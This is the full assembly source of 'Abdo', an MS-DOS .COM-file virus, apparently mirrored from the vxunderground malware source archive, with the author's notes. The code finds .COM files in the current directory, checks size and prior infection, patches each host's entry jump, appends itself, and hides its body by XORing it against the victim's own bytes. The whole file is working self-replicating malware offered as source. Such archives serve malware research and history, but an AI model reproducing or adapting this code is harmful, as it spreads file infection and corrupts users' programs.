13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-27 09:28:25 +00:00
vxug-MalwareSourceCode/MSDOS/A-Index/Virus.MSDOS.Unknown.abdo.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

181 lines
4.9 KiB
NASM

; NAME: Abdo.com
; AUTHOR: Sea4
; SIZE: 310 bytes
; ENCRYPTION: Yep
; STEALTH: Nope
; ROI: All files in current DIR
; DT: Nope
; Here is an interesting concept in encryption. Brought to my attention by
; Aperson. The virus will use the host programs own bytes to XOR against. Its
; very interesting because there is no way to tell what the host will have
; as its values, so the encryption could almost be considered random. Upon
; infection, the father virus will read from the victim file enough bytes to
; cover the encrypted area. It will then, XOR each virus byte against each
; host byte and keep the results in the buffer. It will then write those new
; bytes to the victim. Upon startup of the victim it will call the Decryption
; with a pointer (BX) to the bytes to use as Decryptors. Of course this has
; a flaw if the host program decides to change its own bytes, though highly
; uncommon among normal progges. Enjoy!
Start:
jmp V_start ; Jump to start of virus
V_start: ; delta offset stuff
call Delta
Delta:
pop bp
sub bp,offset delta
SkipDec: ; Call decryption
jmp Ende
; mov cx,Crypto-Hidden
lea si,[bp+Hidden]
mov di,si
mov bx,103h
Call Crypto
Hidden:
mov di,100h ; Restore first 3 bytes
lea si,[bp+saved]
mov cx,3
rep movsb
mov ah,4Eh ; Find first/next com files
FindNext:
xor cx,cx
lea dx,[bp+FileMask]
int 21h
jnc Open ; Found one, open it
jmp Exit ; Didn't find any, return to progge
Close:
jmp ShutFile
Open:
mov ax,3D02h ; Open file
lea dx,9Eh
int 21h
xchg bx,ax ; File handle into BX
mov ah,3Fh ; Read first bytes into buffer
lea dx,[bp+saved]
mov cx,3
int 21h
xor ax,ax
cmp ax,[80h+1Ch]
jnz Close
mov ax,[80h+1Ah]
cmp ax,0F000h ; Infection criteria
jnc Close ; No files > 61440d bytes
cmp ax,400h ; None < 1024d bytes
jc Close
sub ax,3 ; Makes account for the JMP
sub ax,Ende-V_start ; Subtracts the length of virus
cmp ax,[bp+saved+1] ; If the file jumps to AX then it must be
; infected with this virus, or its very lucky
je Close ; Close it up if its already infected
mov ax,[80h+1Ah] ; Set new JMP destination
sub ax,3 ; Subtracts the JMP length
mov [bp+jumpto],ax ; Puts the jumpto location in its buffer
mov ax,4200h ; Return file pointer to beginning of file
xor dx,dx
xor cx,cx
int 21h
mov ah,40h ; Writes the new JMP
mov cx,3
lea dx,[bp+jumping]
int 21h
XorValues EQU Crypto-Hidden+Buffer
mov ah,3Fh ; Read from File to get XORvalues
lea dx,[bp+xorvalues] ; The file pointer is already at 00:03h
; now we just need to put the bytes in a buffer
mov cx,Crypto-Hidden ; Length of Bytes to get ( Same length as hidden
; area, because thats all we need. )
int 21h ; Tells DOS to fetch some bytes
mov ax,4202h ; Move File pointer to end of progge
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ; Write Call decryption routines
lea dx,[bp+v_start]
mov cx,Hidden-V_start
int 21h
lea di,[bp+buffer] ; Call encryption of Hidden area
lea si,[bp+hidden]
mov cx,Crypto-Hidden
push cx ; Saves CX for the write
push bx ; Saves BX because it is the file handle
lea bx,[bp+xorvalues] ; Place where victim file's bytes have been put
call Crypto ; Calls the encryption routine
pop bx ; Retrieves the file handle for the Write
mov ah,40h ; Write encrypted area to file
pop cx
lea dx,[bp+buffer]
int 21h
lea dx,[bp+crypto] ; Write encryption routine to victim
mov cx,Ende-Crypto
mov ah,40h
int 21h
ShutFile: ; Close victim and search for next
mov ah,3Eh
int 21h
mov ax,4F00h
jmp FindNext
Exit:
push 100h
ret
FileMask db '*.com',0
VirusName db '[Abdo]',0
Author db 'Sea4, CodeBreakers',0
message db 'Concept by: Aperson of the CodeBreakers!'
Saved db 0CDh,020h,090h
Jumping db 0E9h
jumpto db 0h,0h
Crypto:
EncLoop:
lodsb ; Takes the byte from [SI]
mov dl,[bx] ; Gets the next byte of host file
xor al,dl ; XORs the 2 bytes, and saves them in AL
inc bx ; Moves to next byte
stosb ; Places the byte back in [DI]
loop EncLoop ; Does 'em all
ret ; Return to calling routine
Buffer:
Ende:
lea di,SkipDec
lea si,NewBytes
mov cx,3
rep movsb
jmp Hidden
NewBytes:
mov cx,Crypto-Hidden
Finish: